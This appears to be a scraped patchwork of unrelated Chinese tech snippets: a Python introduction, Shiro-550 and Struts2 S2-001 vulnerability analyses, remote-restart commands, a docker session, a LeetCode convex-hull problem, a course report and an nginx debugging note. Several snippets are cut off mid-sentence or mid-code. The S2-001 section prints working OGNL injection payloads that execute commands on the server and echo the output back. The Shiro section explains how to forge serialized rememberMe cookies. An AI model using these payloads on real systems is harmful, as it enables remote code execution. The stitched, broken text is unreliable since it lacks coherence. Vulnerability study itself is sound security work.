一、Python简介 Python(英国发音:/ˈpaɪθən/美国发音:/ˈpaɪθɑːn/),是荷兰科学家吉多·范罗苏姆(Guido van Rossum),在1989年期间开发的计算机编程语言。在Python语言中,一切皆为对象,即使函数也是对象,有自身的属性。Python是解释型编程语言,运行Python程序时,需要将解释器翻译Python代码。
Python是一种不受局限、跨平台的开源编程语言,其数据处理速度快、功能强大且简单易学,在数据分析与处理中被广泛应用。而且,Python采用解释运行的方式,编写后无需进行编译即可直接通过解释器执行,具有典型的动态语言特点,编程效率极高。Python是完全面向对象的语言,数字、模块、字符串、数据结构都是对象,并且支持常见的类概念,如继承,重载,派生,多重继承。
2017年7月20日,IEEE发布2017年编程语言排行榜:Python高居首位。2018年3月,该语言作者在邮件列表上宣布Python 2.7将于2020年1月1日终止支持。用户如果想要在这个日期之后继续得到与Python 2.7有关的支持,则需要付费给商业供应商。
二、语言特点
1、简单清晰 Python是一种代表简单主义思想的语言,之所以这么说,是因为Python是一门清晰的语言,它的作者在设计它的时候,总的指导思想是,对于一个特定的问题,只要一种最好的方法来解决就好了。Python和其他大多数语言的一个主要区别就是完全由每行的首字符缩进来界定一个模块的界限,不可否认,通过使用缩进使得Python程序显得清晰和美观。阅读一个优秀的Python程序就感觉像是在读英语一样,Python的这种伪代码特性使开发者能够专注于解决问题而不是去搞明白语言本身。
2、纯面向对象 与传统的面向对象语言fC++,Java)不同的是,在Python的世界里,万物皆为对象。模块,类,函数,变量,类的实例都属于Python中的对象,例如函数是一个对象,它有自己的代码块,注释文档以及变量字典。
3、支持面向过程和面向对象编程Python不强制你使用类的概念组织软件,你可以以面向过程的思想编写你的软件。这个类似于“+,完全可以不用c++面向对象的特性编写软件,退化为c语言了。
4、非常丰富的标准库支持Python提供了一套功能完善的内置库支持,除了基本的数据结构,如链表,字典,字符串操作等,还提供了很多在程序中会经常使用的操作,比如正则表达式,配置文件,tar文件格式的创建和读取。
5、具有良好的可扩展性Python与c/c++语言有良好的交互性,你既可以在Python中调用用C实现的模块,也可以在C中调用Python解析器。这个类似于Java的JNI了。对于一些性能要求高的模块,用C语言编写Python模块是一种不错的选择。
ok,这就是Python~
Shiro550 shiro550和fastjson作为攻防演练的利器,前面学习了fastjson的相关利用和回显,本篇主要来学习一下shiro550的漏洞原理。
1、漏洞原因 在 Shiro <= 1.2.4 中,AES 加密算法的key是硬编码在源码中,当我们勾选remember me 的时候 shiro 会将我们的 cookie 信息序列化并且加密存储在 Cookie 的 rememberMe字段中,这样在下次请求时会读取 Cookie 中的 rememberMe字段并且进行解密然后反序列化,且AES的key 为固定的。
2、环境搭建及复现 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 jdk1.7 Tomcat8 idea 坑点
原有版本的jstl会报错修改为1.2
<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <!-- 依赖cc链 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> toolchains的错误
<?xml version=1.0 encoding=UTF8?> <toolchains> <toolchain> <type>jdk</type> <provides> <version>1.6</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>/Library/Java/JavaVirtualMachines/jdk1.8.0_161.jdk</jdkHome> </configuration> </toolchain> </toolchains> 然后启动即可
漏洞复现
3、漏洞分析 3.1、生成cookie 3.1.1、原理解析 shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。而其中对rememberme的cookie做了加密处理,漏洞主要原因是加密的AES密钥是硬编码在文件中的,那么对于AES加密算法我们已知密钥,并且IV为cookie进行base64解码后的前16个字节,因此我们可以构造任意的可控序列化payload。
cookie的处理类org.apache.shiro.web.mgt.CookieRememberMeManager类出现了漏洞,而它继承了AbstractRememberMeManager类。
处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager,其中的rememberSerializedIdentity方法,主要就是设置用户的cookie的值,这个值是通过base64解密serialized获取的。
我们继续看看父类
最近疫情隔离一直用Windows远程桌面居家办公,今天突然想试试anydesk行不行,然后就安装上了。远程先运行起来anydesk,设置无人值守模式,然后本地运行起来anydesk,用密码去连接远程。结果连是连上了,但就是黑屏。然后我本地关了anydesk,重新用MS远程桌面连,结果远程桌面也黑屏了……给我整了个猝不及防。远程电脑Anydesk也没给重启权限,只能另寻他法了。
首先 cmd 命令 shutdown -m 是有重启/关闭远程电脑的功能的,但是它要求你现在组策略里设置好权限,单单靠这个是不行的。
这个时候需要先用 net 命令在命令行登录一下远程电脑:
:: net use \\目标IP 密码 /user:域\用户名 net use \\xx.xx.xx.xx yourpassword /user:yourdomain\yourusername 没有域就不需要输入。你也可以不输入密码和用户名,让命令提示你输入。
然后再用 shutdown /r /m 重启就可以了
https://www.bbsmax.com/A/l1dy8Ewn5e/
volume是什么意思
volume在计算机领域有“卷标”、“音量”之意;在股票用语上表示“成交量/成交金额及其均线图”;在生活中有“体积”的意思。
volume [ 'vɔlju:m ] n. 量;体积;卷;音量;大量;册 adj. 大量的 vi. 成团卷起 vt. 把…收集成卷
Volume2是一个既实用又华丽的音量控制增强软件,使用它一两天,你就会悄悄地爱上它。它的作用很简单,就是让你可以自定义鼠标或键盘快捷键来快速控制系统音量:比如你可以定义鼠标右键加滚轮键来调整系统音量;按下鼠标中键来快速静音等。当然在你调整音量的过程中,美观漂亮的OSD窗口会优雅的告诉你音量的大小,包括OSD窗口、系统托盘图标。Volume2都为你准备了众多华丽的皮肤,比如Modern UI、MacOS、VAIO、三星等样式!
扩展阅读:volume特点
软件小巧便携,无需安装;系统资源占用低,内存占用2M以内;
OSD皮肤众多,漂亮华丽,为系统增加了一道风景;
支持计划任务,可在不同时段自动调整为不同级别的音量;
为不同的应用程序自定义音量,设置平衡,调整亮度等。
[root@localhost ~]# docker pull centos # 拉取sentos最新镜像 [root@localhost ~]# docker pull centos Using default tag: latest latest: Pulling from library/centos a1d0c7532777: Pull complete Digest: sha256:a27fd8080b517143cbbbab9dfb7c8571c40d67d534bbdee55bd6c473f432b177 Status: Downloaded newer image for centos:latest docker.io/library/centos:latest [root@localhost ~]# docker images REPOSITORY TAG IMAGE ID CREATED SIZE httpd 2.4.53 c30a46771695 6 days ago 144MB busybox latest beae173ccac6 3 months ago 1.24MB httpd latest dabbfbe0c57b 4 months ago 144MB centos latest 5d0da3dc9764 7 months ago 231MB [root@localhost ~]# docker run -it --name httpd centos /bin/bash [root@51e8dc0d8efc /]# cd /etc/yum.
587. 安装栅栏 在一个二维的花园中,有一些用 (x, y) 坐标表示的树。由于安装费用十分昂贵,你的任务是先用最短的绳子围起所有的树。只有当所有的树都被绳子包围时,花园才能围好栅栏。你需要找到正好位于栅栏边界上的树的坐标。
示例 1:
输入: [[1,1],[2,2],[2,0],[2,4],[3,3],[4,2]] 输出: [[1,1],[2,0],[4,2],[3,3],[2,4]] 解释: 示例 2:
输入: [[1,2],[2,2],[4,2]] 输出: [[1,2],[2,2],[4,2]] 解释: 即使树都在一条直线上,你也需要先用绳子包围它们。 注意:
所有的树应当被围在一起。你不能剪断绳子来包围树或者把树分成一组以上。 输入的整数在 0 到 100 之间。 花园至少有一棵树。 所有树的坐标都是不同的。 输入的点没有顺序。输出顺序也没有要求。 1 vector<int> start; // 凸包起点坐标 2 // 排序找第一个点,先按y轴升序,如果y轴相等,则按x轴升序 3 inline bool cmp1(const vector<int> &a, const vector<int> &b) { 4 // y轴相等,则按照x轴升序排序 5 if (a[1] == b[1]) { 6 return a[0] < b[0]; 7 } else { 8 return a[1] < b[1]; 9 } 10 } 11 // 两条边(向量)的叉积, 向量ab与向量ac的叉积 12 inline double cross(const vector<int> &a, const vector<int> &b, const vector<int> &c) { // 计算叉积 13 return ((b[0] - a[0]) * (c[1] - a[1]) * 1.
面向对象 第二单元总结 第二单元的任务是完成一个电梯调度系统,尽可能快的将所有人送到相应的目的地。主要考察了我们对于多线程程序的编写以及线程安全问题的理解。
第一次作业 总体架构 由于第一次作业的任务比较简单,所以我直接选择了生产者-消费者的架构。其中,我在输入线程与电梯线程中加入了调度器线程,因此属于两级生产者-消费者架构。在电梯的调度策略上,我选择了 LOOK 算法。 InputThred 作为一级生产者负责将输入请求放入一级托盘中;Schedule 作为调度器将一级托盘中的请求分配给二级托盘,也就是各电梯对应的托盘中;最后,再由各电梯从各自托盘中取出请求送至目标楼层。
两级托盘的架构思路比较清晰,将整个任务进行解耦,使得电梯只需要负责自己托盘内的请求即可。并且对于之后的作业,仅需要对调度器进行增量开发,不需要再对电梯的功能进行改动。
调度器设置 本次作业的调度器功能十分简单,仅需要与输入线程进行交互,从输入托盘中取出一个请求,判断请求是属于哪个楼座,并将其放入该楼座的托盘中即可。其实本次作业完全可以忽略掉调度器这一模块,直接由输入线程来进行分配请求的操作。但是考虑到后续作业的增量开发,所以还是设计了一个调度器的模块。这样也让电梯不需要关注到自身托盘以外的请求,只需要完成自己的任务。
同步块与锁的设计 由于是第一次接触多线程的内容,当时的我对于线程安全的理解还不是很深入,所以选择了上机训练的做法:即创建一个线程安全类 RequestQueue,它的锁是整个项目中唯一的锁,提供了增删查取的安全方法,以防止线程冲突的发生。事实证明,这样的设计相当简单,也为线程安全提供了有力的保障,因此我一直沿用到最后一次作业。
import java.util.ArrayList; public class RequestQueue { private ArrayList<Person> requests; private boolean isEnd; public RequestQueue() { requests = new ArrayList<>(); this.isEnd = false; } public synchronized void addRequest(Person request) { } public synchronized Person getTargetRequest(int target) { } public synchronized void setEnd(boolean isEnd) { } public synchronized boolean isEnd() { } public synchronized boolean isEmpty() { } public synchronized int size() { } public synchronized void remove(Person person) { } } 其中, RequestQueue 的每一个方法都是线程安全的,而项目中唯一的共享对象只有 RequestQueue ,所以只要保证这个对象的所有方法都已上锁,整个项目就是线程安全的。
Java安全之S2-001漏洞分析 前言 好久没更新Java相关内容了,最近身体出了些小问题等各种原因导致有些时候无法沉心学习。忙里偷闲,炒个冷饭。
POC采集 回显poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{pwd})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 调试poc:
%{(new java.lang.ProcessBuilder(new java.lang.String[]{calc.exe})).start()} 获取web路径
%{ #
[email protected]@getRequest(), #response=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse).getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() } 漏洞分析 漏洞环境:https://github.com/vulhub/vulhub/tree/master/struts2/s2-001
直接来看到漏洞点
<package name=S2-001 extends=struts-default> <action name=login class=com.demo.action.LoginAction> <result name=success>/welcome.jsp</result> <result name=error>/index.jsp</result> </action> </package> 这里这个package继承了struts-default包,struts-default.xml是Struts 2 框架的基础配置文件,为框架提供默认设置,这个文件包含在Struts2-core.jar中,由框架自动加载。
在web.xml中会配置
<filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> org.apache.struts2.dispatcher.FilterDispatcher#doFilter调用this.dispatcher.serviceAction(request, response, servletContext, mapping);
serviceAction方法
获取struts.xml的配置信息
使用获取到的信息传入config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy进行创建action代理类
随后调用proxy.execute();进行执行
public String execute() throws Exception { ActionContext previous = ActionContext.
数组 内存分析 数组声明在栈内存里面,创建在堆内存中,没有声明的时候默认为空
数组初始化 静态初始化:创建+赋值
动态初始化:创建和赋值分开写
默认初始化:默认为0
数组里面的方法 Array.toString打印数组元素
fill可以用其他的数字替代数组里面的数字
冒泡排序 思路
稀疏数组
背景 最近分析数据偶然发现nginx log中有一批用户所有的HTTP POST log上报请求均返回400,没有任何200成功记录,由于只占整体请求的不到0.5%,所以之前也一直没有触发监控报警,而且很奇怪的是只对于log上报的POST接口会存在这种特定用户全部400的情况,而对于其他接口无论POST还是GET均没有此类问题。 进一步分析log发现其实对某些地区的用户请求,这个比例甚至超过了10%,于是花时间跟进了一下,最终发现源于部分机型客户端发出的HTTP请求格式不规范导致,这里记录一下分析过程、原因以及最终解决方案。
问题分析 常见nginx 400原因 搜寻网上资料,发现一般可能有以下几个原因会导致nginx响应400:
request_uri 过长超过nginx配置大小 cookie或者header过大超过nginx配置大小 空HOST头 content_length和body长度不一致 这些错误其实都是发生在nginx这一层,即nginx处理时认为客户端请求格式错误,于是直接返回400,不会向upstream server转发请求,因而upstream server对这些错误请求其实完全是无感知的。 而这次根据nginx log分析,可以看到nginx其实有向upstream server转发请求--upstream_addr已经是upstream server 有效地址,所以400实际应当是upstream server返回的,而不是nginx直接返回,这说明至少nginx这一层认为请求格式是没问题的。
实际nginx 400 log分析 截取部分线上部分用户的错误日志,其大体样式如下
127.0.0.1:63646 - 24/Apr/2022:00:50:07 +0900 127.0.0.1:1080 0.000 0.000 POST /log/report?appd=abc.demo.android&appname=abcdemo&v=1.0&langes=zh-CN&phonetype=android&device_type=android&osn=Android OS 10 / API-29 (QKQ1.190825.002/V12.0.6.0.QFKCNXM)&channel=Google Play&build=Android OS 10 / API-29 (QKQ1.190825.002/V12.0.6.0.QFKCNXM)&resolution=1080x2340&ts=1650636192534 HTTP/1.1 400 50 - curl/7.52.1 - 0.000 0.000 127.0.0.1 1563 2021 日志分析可以发现大部分400请求都有一个问题:其query参数并未经过urlencode,比如可以很明显看到其参数channel=Google Play 中的空格并未转码成%20,直觉上推断这应该和400的原因有直接关系。
试错 为了验证未转码query参数是否是导致400的直接原因,简单通过curl构造几个测试http请求:
# 无空格 curl -v 'http://127.